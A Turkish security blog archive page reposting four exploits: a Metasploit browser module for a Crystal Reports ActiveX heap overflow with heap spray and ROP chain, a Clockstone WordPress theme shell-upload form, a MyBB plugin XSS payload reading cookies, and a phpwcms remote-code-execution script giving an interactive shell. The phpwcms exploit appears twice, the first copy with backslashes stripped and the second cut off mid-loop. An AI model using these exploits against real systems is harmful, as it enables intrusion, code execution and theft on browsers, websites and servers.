Archive for 19 Aralık 2012

Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow

Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow exploit.


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => NormalRanking,
		:classid    => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
		:method     => "ServerResourceVersion"
	})


	def initialize(info={})
		super(update_info(info,
			'Name'           => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
			'Description'    => %q{
					This module exploits a heap based buffer overflow in the CrystalPrintControl
				ActiveX, while handling the ServerResourceVersion property. The affected control
				can be found in the PrintControl.dll component as included with Crystal Reports
				2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
				and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
				affected ActiveX control, to bypass DEP and ASLR.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Dmitriy Pletnev', # Vulnerability discovery
					'Dr_IDE', # PoC
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2010-2590' ],
					[ 'OSVDB', '69917' ],
					[ 'BID', '45387' ],
					[ 'EDB', '15733' ]
				],
			'Payload'        =>
				{
					'Space' => 890,
					'BadChars' => "\x00",
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Using jre rop because msvcr71.dll is installed with the ActiveX control
					# Crystal Reports 2008 / PrintControl.dll 12.0.0.683
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3',
						{
							'Rop' => nil,
							'Offset' => '0x5F4',
							'Ret' => 0x0c0c0c08
						}
					],
					[ 'IE 7 on Windows XP SP3',
						{
							'Rop' => nil,
							'Offset' => '0x5F4',
							'Ret' => 0x0c0c0c08
						}
					],
					[ 'IE 8 on Windows XP SP3',
						{
							'Rop' => :jre,
							'Offset' => '0x5f4',
							'Ret' => 0x0c0c0c0c,
							'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
						}
					],
					[ 'IE 8 on Windows 7',
						{
							'Rop' => :jre,
							'Offset' => '0x5f4',
							'Ret' => 0x0c0c0c0c,
							'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 14 2010",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# Land the payload at 0x0c0c0c0c
		# For IE 6, 7, 8
		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		var overflow = nops.substring(0, 10);
		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		print_status("Using JRE ROP")
		rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})

		return rop_payload
	end

	def load_exploit_html(my_target, cli)
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)

		# This rop chain can't contain NULL bytes, because of this RopDB isn't used
		# rop chain generated with mona.py
		rop_gadgets =
			[
				0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
				0xfffffdff,	# Value to negate, will become 0x00000201 (dwSize)
				0x7c347f98,	# RETN (ROP NOP) [msvcr71.dll]
				0x7c3415a2,	# JMP [EAX] [msvcr71.dll]
				0xffffffff,	#
				0x7c376402,	# skip 4 bytes [msvcr71.dll]
				0x7c351e05,	# NEG EAX # RETN [msvcr71.dll]
				0x7c345255,	# INC EBX # FPATAN # RETN [msvcr71.dll]
				0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
				0x7c344f87,	# POP EDX # RETN [msvcr71.dll]
				0xffffffc0,	# Value to negate, will become 0x00000040
				0x7c351eb1,	# NEG EDX # RETN [msvcr71.dll]
				0x7c34d201,	# POP ECX # RETN [msvcr71.dll]
				0x7c38b001,	# &Writable location [msvcr71.dll]
				0x7c347f97,	# POP EAX # RETN [msvcr71.dll]
				0x7c37a151,	# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
				0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
				0x7c345c30,	# ptr to 'push esp #  ret ' [msvcr71.dll]
			].pack("V*")

		# Allow to easily stackpivot to the payload
		# stored on the sprayed heap
		stackpivot_to_spray = %Q|
			mov esp, 0x0c0c0c10
			ret
		|

		# Space => 0x940 bytes
		# 0x40c: Fill the current CrystalPrintControl object
		# 0x8: Overflow next heap chunk header
		# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
		bof = rand_text_alpha(1036)
		bof << [0x01010101].pack("V") # next heap chunk header
		bof << [0x01010101].pack("V") # next heap chunk header
		bof << [my_target.ret].pack("V")
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71
		bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8
		bof << rop_gadgets
		bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
		bof << rand_text_alpha(0x940 - bof.length)

		js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))

		target = rand_text_alpha(5 + rand(3))
		target2 = rand_text_alpha(5 + rand(3))
		target3 = rand_text_alpha(5 + rand(3))
		target4 = rand_text_alpha(5 + rand(3))
		target5 = rand_text_alpha(5 + rand(3))
		target6 = rand_text_alpha(5 + rand(3))
		target7 = rand_text_alpha(5 + rand(3))
		target8 = rand_text_alpha(5 + rand(3))
		target9 = rand_text_alpha(5 + rand(3))
		target10 = rand_text_alpha(5 + rand(3))
		target11 = rand_text_alpha(5 + rand(3))
		target12 = rand_text_alpha(5 + rand(3))
		target13 = rand_text_alpha(5 + rand(3))
		target14 = rand_text_alpha(5 + rand(3))
		target15 = rand_text_alpha(5 + rand(3))

		# - 15 CrystalPrintControl objects are used to defragement the heap.
		# - The 10th CrystalPrintControl is overflowed.
		# - After the overflow, trying to access the overflowed object, control
		# can be obtained.
		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
		<script>
		var ret = unescape('#{js_bof}');
		#{target9}.ServerResourceVersion = ret;
		var c = #{target10}.BinName.length;
		</script>
		</body>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end

Clockstone and other CMSMasters Theme File Upload Vulnerabilities

Clockstone and other CMSMasters Theme File Upload Vulnerabilities açığı bulundu. Açık sayesinde çeşitli sheller upload edilerek servere müdalane edilebilmektedir. Açık kapanana kadar devre dışı bırakılmasında fayda var. Açık hakkındaki açıklamalar şu şekilde


# Exploit Title: [Clockstone and Various other CMSMasters Theme File Upload Vulnerabilities] # Google Dork: ["wp-content/themes/clockstone"] # Date: [12/18/2012] # Exploit Author: [DigiP] # Vendor Homepage: [http://cmsmasters.net/] # Software Link: [http://themeforest.net/item/clockstone-ultimate-wordpress-theme/306607] # Version: [1.2 and lower]

Clockstone WordPress Theme & Various CMSMasters Themes : File Upload Vulnerability Disclosure

A few weeks back I posted a warning on our site for users who used the Clockstone WordPress theme, to remove it from their sites until CMSMasters had a chance to patch their theme(s). The flaw was a file upload vulnerability, that allowed anyone to access a victim's site, by uploading whatever files they wanted to the site. The nature of the flaw was not isolated to their Clockstone theme alone, so I worked with CMSMasters to wait until they had a chance to patch this and their other themes as well. The code that allowed this attack to happen, was in several files which did not require user authentication from logged in WordPress users, and anyone visiting the url directly would be able to execute the script directly.

As promised, here is the POC of the attack code: ############################################################## # Shell upload attack:<br /> # <form enctype="multipart/form-data" action="<a href="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php">http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php</a>" method="post"> # <input type="text" name="url" value="./" /><br /> # Please choose a file: <input name="uploadfile" type="file" /><br /> # <input type="submit" value="Upload" /> # </form> ##############################################################

After a successful attack, you would see on your screen the name of your uploaded file in hash form, which would be located in the same path as the upload script if using the code above. You can choose pretty much anywhere to upload the file to though. This file was an MD5 hashed name, ending in the file extension of the file you uploaded, but the script echoed back the file name, so it was easy to see where your file was when done.

The vulnerable code in their theme was as follows: ############################################################## # <?php # # if ($_POST['url']){ $uploaddir = $_POST['url']; } # # $first_filename = $_FILES['uploadfile']['name']; # # $filename = md5($first_filename); # # $ext = substr($first_filename, 1 + strrpos($first_filename, '.')); # # $file = $uploaddir . basename($filename.'.'.$ext); # # if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)){ #  echo basename($filename.'.'.$ext); # } else { #  echo 'error'; # } # # ?> ##############################################################

We picked up this flaw because of our Attack Scanner plug-in, and seeing sites being attacked by others running this theme. This lead us to investigate their theme to see what was happening. This was (and is) an exploit being used in the wild against sites running the Clockstone theme, but does not appear to be widely known at this time. At least, we could not find a copy of the flaw being published publicly anywhere, which means this was most likely only used by a select few who knew of this flaw. After notifying CMSMasters of the issue, they've now updated their code base and done their best to contact users of their themes. - DigiP <a href="http://www.attack-scanner.com/">http://www.attack-scanner.com/</a>

MyTube MyBB Plugin 1.0 Stored XSS

mytube-mybbMy Tube MyBB Plugin 1.0 Stored versiyonunda XSS Açığı bulundu. Açıkla kötü niyetli kodlar çalıştırılabildiğinden önlem alınması gerekir. Açığa ilişkin açık bulucunun açıklamaları, açığın oluşum yerleri aşağıda yer alıyor.

# Exploit Title: MyTube MyBB Plugin Stored XSS
# Date: 18/12/2012
# Exploit Author: Kim Kun Bum
# Vendor by:
# Software Link: <a href="http://mods.mybb.com/view/mytube">http://mods.mybb.com/view/mytube</a>
# Version: 1.0
# Category:Web Security
# Tested on: Windows7
Reason : Lack of input validation in Youtube ID field
+--------------------------------------------------------------------------+
Stored XSS-vulnerabilities
0. install&Activate plugin
1. go to Usercp >> Edit Profile >> Youtube:
2. inject following code
"<a href="http://www.youtube.com?v=&quot;</embed">http://www.youtube.com?v="</embed</a>> <script> alert(document.cookie) </script>
3. This code will be stored as profile content.
4. Visit your profile and Can see the execution of injected script
Vulnerable code in mytube.php soucre :
function mytube_activate(){....<embed src="<a href="http://www.youtube.com/v/{$tubeid}{$autoplay">http://www.youtube.com/v/{$tubeid}{$autoplay</a>}" type="application/x-
shockwave-flash" wmode="transparent" width="425" height="344"></embed></object></td></tr>}

 

phpwcms v1.5.4.6 "preg_replace" Multiple Vulnerabilities

phpwcms-vulnphpwcms <= v1.5.4.6 “preg_replace” çeşitli açıklar bulundu. Açık hakkında açığın oluşum yerleri, açığın kullanımı hakkında açığı keşfeden kişinin açıklalamaları aşağıdaki şekildedir.

<?php <br ?>/*
phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit
vendor: http://www.phpwcms.de/
Download: github.com/slackero/phpwcms
by: aeon

Well it appears there are multiple remote code execution bugs that exists in phpwcms for quite some time now. Here I will exploit one of them, but many are available to an attacker. I have only listed 10 as I got bored after that point...

In order to exploit the vulnerabilities, you will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user".

Other vulnerabilities most probably exist in this application but I don't bother auditing for xss/csrf/click jacking etc. I only care about true
remotely exploitable bugs 😎

Examples:

1. Lines 699-700 of ./include/inc_front/content.func.inc.php:
-------------------------------------------------------------

// list based navigation starting at given level
$replace = 'nav_list_struct($content["struct"],$content["cat_id"],"$1", "$2");';
$content["all"] = preg_replace('/{NAV_LIST:(d+):{0,1}(.*){0,1}}/e', $replace, $content["all"]);

PoC:
{NAV_LIST:1:{${phpinfo()}}}

2. Line 704 of ,.include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/{NAV_LIST_TOP:(.*?):(.*?)}/e', 'css_level_list($content["struct"], $content["cat_path"], 0, "$1", 1, "$2")', $content["all"]);

PoC:
{NAV_LIST_TOP:{${phpinfo}}:1}

3. line 708 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/{NAV_LIST_CURRENT:(d+):(.*?):(.*?)}/e', 'css_level_list($content["struct"],$content["cat_path"],$content["cat_id"],"$2","$1","$3")', $content["all"]);

PoC:
{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}

4. Line 792 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/{BROWSE:NEXT:(.*?):(0|1)}/e','get_index_link_next("$1",$2);',$content["all"]);

PoC:
{BROWSE:NEXT:{${phpinfo()}}:1}

5. Line 793 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/{BROWSE:PREV:(.*?):(0|1)}/e','get_index_link_prev("$1",$2);',$content["all"]);

PoC:
{BROWSE:PREV:{${phpinfo()}}:1}

6. Line 2661 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/{LIVEDATE:(.*?) lang=(..)}/e', 'international_date_format("$2","$1","'.$livedate.'")', $text);

PoC:
{LIVEDATE:{${phpinfo()}} lang=ru}

7. Line 2658 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/{DATE:(.*?) lang=(..)}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

8. Line 2665 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/{KILLDATE:(.*?) lang=(..)}/e', 'international_date_format("$2","$1","'.$killdate.'")', $text);

PoC:
{KILLDATE:{${phpinfo()}} lang=ru}

9. Line 2668 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

return preg_replace('/{NOW:(.*?) lang=(..)}/e', 'international_date_format("$2","$1","'.now().'")', $text);

PoC:
{NOW:{${phpinfo()}} lang=ru}

10. Line 2674 of ./include/inc_front/front.func.inc.php:
--------------------------------------------------------

$text = preg_replace('/{'.$rt.':(.*?) lang=(..)}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

################################################################################################
[aeon@brainbox 0day]$ php ./phpwcmsrce.php 192.168.1.120 /phpwcms-1.5.4.6/ jack password

+-----------------------------------------------------------+
| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon | +-----------------------------------------------------------+ (+) initiating target interaction (+) grabbed a valid session (+) logged into the target application (+) exploit working! dropping to shell.. phpwcms-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

phpwcms-shell> uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
################################################################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("n(-) No response from {$host}:80rn");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "n+-----------------------------------------------------------+";
print "n| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |";
print "n+-----------------------------------------------------------+n";

if ($argc < 5)
{
    print "nUsage......: php $argv[0]    n";
    print "nExample....: php $argv[0] localhost / admin pass";
    print "nExample....: php $argv[0] localhost /phpwcms-1.5.4.6/ jack blackn";
    die();
}

list($host, $path, $user, $pass) = array($argv[1], $argv[2], $argv[3], $argv[4]);

// init session
print "(+) initiating target interactionrn";
$packet  = "GET {$path}login.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Connection: closernrn";

$_prefix = preg_match('/Set-Cookie: (.+); path=/', http_send($host, $packet), $m) ?  $m[1] : '';
print ($_prefix ? "(+) grabbed a valid session" : "(-) exploit failed! couldnt obtain a session")."rn";

$pass      = md5($pass);
$postcreds = "json=1&md5pass={$pass}&form_aktion=login&form_loginname={$user}&form_lang=ru&submit_form=Login";

// login
$packet  = "POST {$path}login.php?{$phpcode} HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cookie: {$_prefix}rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Content-Length: ".strlen($postcreds)."rn";
$packet .= "Connection: closernrn{$postcreds}";

if (!preg_match('/HTTP/1.[01] 302 Found/', http_send($host, $packet))) die("n(-) login failed!n");
print "(+) logged into the target applicationrn";

$phpkode  = '{${error_reporting(0)}}{${print(aeon)}}{${passthru(base64_decode($_SERVER[HTTP_PHPWCMS]))}}{${die}}';
$pat      = "{DATE:{$phpkode} lang=en}";
$payload  = "article_cid=0&article_title=wtf&set_begin=1&article_begin=2012-12-16+00%3A00%3A00&article_summary=";
$payload .= urlencode($pat)."&article_username=jack&article_aktiv=1&article_public=1&article_update=1&updatesubmit=Create";

// backdooring db content
$packet  = "POST {$path}phpwcms.php?do=articles&p=2&s=1&aktion=1&id=0 HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Cookie: {$_prefix}rn";
$packet .= "Connection: closernrn{$payload}";

$_aid = preg_match('/&id=([0-9]{0,30})/', http_send($host, $packet), $m) ? $m[1] : '';
print ($_aid ? "(+) exploit working! dropping to shell.." : "(-) exploit failed! couldnt find article id")."rn";

// triggering preg_replace code evaluation
$packet  = "GET {$path}index.php?aid={$_aid} HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Phpwcms: %srn";
$packet .= "Connection: closernrn";

if (preg_match('/aeon', http_send($host, $packet))) die("n(-) opps! hmm, backdoor didnt quite work..rn");

while(1)
{
    print "nphpwcms-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/aeon(.*)/s', $response, $m) ? print $m[1] : die("n(-) exploit failed!n");
}

// @aeon_flux_ | aeon.s.flux(at)gmail(.)com | https://infosecabsurdity.wordpress.com/
?>

phpwcms v1.5.4.6 “preg_replace” Multiple Vulnerabilities

phpwcms-vulnphpwcms <= v1.5.4.6 “preg_replace” çeşitli açıklar bulundu. Açık hakkında açığın oluşum yerleri, açığın kullanımı hakkında açığı keşfeden kişinin açıklalamaları aşağıdaki şekildedir.

<?php <br ?>/*
phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit
vendor: http://www.phpwcms.de/
Download: github.com/slackero/phpwcms
by: aeon

Well it appears there are multiple remote code execution bugs that exists in phpwcms for quite some time now. Here I will exploit one of them, but many are available to an attacker. I have only listed 10 as I got bored after that point...

In order to exploit the vulnerabilities, you will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user".

Other vulnerabilities most probably exist in this application but I don't bother auditing for xss/csrf/click jacking etc. I only care about true
remotely exploitable bugs 😎

Examples:

1. Lines 699-700 of ./include/inc_front/content.func.inc.php:
-------------------------------------------------------------

// list based navigation starting at given level
$replace = 'nav_list_struct($content["struct"],$content["cat_id"],"$1", "$2");';
$content["all"] = preg_replace('/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e', $replace, $content["all"]);

PoC:
{NAV_LIST:1:{${phpinfo()}}}

2. Line 704 of ,.include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_TOP:(.*?):(.*?)\}/e', 'css_level_list($content["struct"], $content["cat_path"], 0, "$1", 1, "$2")', $content["all"]);

PoC:
{NAV_LIST_TOP:{${phpinfo}}:1}

3. line 708 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e', 'css_level_list($content["struct"],$content["cat_path"],$content["cat_id"],"$2","$1","$3")', $content["all"]);

PoC:
{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}

4. Line 792 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:NEXT:(.*?):(0|1)\}/e','get_index_link_next("$1",$2);',$content["all"]);

PoC:
{BROWSE:NEXT:{${phpinfo()}}:1}

5. Line 793 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:PREV:(.*?):(0|1)\}/e','get_index_link_prev("$1",$2);',$content["all"]);

PoC:
{BROWSE:PREV:{${phpinfo()}}:1}

6. Line 2661 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{LIVEDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$livedate.'")', $text);

PoC:
{LIVEDATE:{${phpinfo()}} lang=ru}

7. Line 2658 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{DATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

8. Line 2665 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{KILLDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$killdate.'")', $text);

PoC:
{KILLDATE:{${phpinfo()}} lang=ru}

9. Line 2668 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

return preg_replace('/\{NOW:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.now().'")', $text);

PoC:
{NOW:{${phpinfo()}} lang=ru}

10. Line 2674 of ./include/inc_front/front.func.inc.php:
--------------------------------------------------------

$text = preg_replace('/\{'.$rt.':(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

################################################################################################
[aeon@brainbox 0day]$ php ./phpwcmsrce.php 192.168.1.120 /phpwcms-1.5.4.6/ jack password

+-----------------------------------------------------------+
| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon | +-----------------------------------------------------------+ (+) initiating target interaction (+) grabbed a valid session (+) logged into the target application (+) exploit working! dropping to shell.. phpwcms-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

phpwcms-shell> uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
################################################################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n(-) No response from {$host}:80\r\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------------+";
print "\n| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |";
print "\n+-----------------------------------------------------------+\n";

if ($argc < 5)
{
    print "\nUsage......: php $argv[0]    \n";
    print "\nExample....: php $argv[0] localhost / admin pass";
    print "\nExample....: php $argv[0] localhost /phpwcms-1.5.4.6/ jack black\n";
    die();
}

list($host, $path, $user, $pass) = array($argv[1], $argv[2], $argv[3], $argv[4]);

// init session
print "(+) initiating target interaction\r\n";
$packet  = "GET {$path}login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Set-Cookie: (.+); path=/', http_send($host, $packet), $m) ?  $m[1] : '';
print ($_prefix ? "(+) grabbed a valid session" : "(-) exploit failed! couldnt obtain a session")."\r\n";

$pass      = md5($pass);
$postcreds = "json=1&md5pass={$pass}&form_aktion=login&form_loginname={$user}&form_lang=ru&submit_form=Login";

// login
$packet  = "POST {$path}login.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($postcreds)."\r\n";
$packet .= "Connection: close\r\n\r\n{$postcreds}";

if (!preg_match('/HTTP\/1.[01] 302 Found/', http_send($host, $packet))) die("\n(-) login failed!\n");
print "(+) logged into the target application\r\n";

$phpkode  = '{${error_reporting(0)}}{${print(aeon)}}{${passthru(base64_decode($_SERVER[HTTP_PHPWCMS]))}}{${die}}';
$pat      = "{DATE:{$phpkode} lang=en}";
$payload  = "article_cid=0&article_title=wtf&set_begin=1&article_begin=2012-12-16+00%3A00%3A00&article_summary=";
$payload .= urlencode($pat)."&article_username=jack&article_aktiv=1&article_public=1&article_update=1&updatesubmit=Create";

// backdooring db content
$packet  = "POST {$path}phpwcms.php?do=articles&p=2&s=1&aktion=1&id=0 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Cookie: {$_prefix}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$_aid = preg_match('/&id=([0-9]{0,30})/', http_send($host, $packet), $m) ? $m[1] : '';
print ($_aid ? "(+) exploit working! dropping to shell.." : "(-) exploit failed! couldnt find article id")."\r\n";

// triggering preg_replace code evaluation
$packet  = "GET {$path}index.php?aid={$_aid} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Phpwcms: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/aeon', http_send($host, $packet))) die("\n(-) opps! hmm, backdoor didnt quite work..\r\n");

while(1)
{
    print "\nphpwcms-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
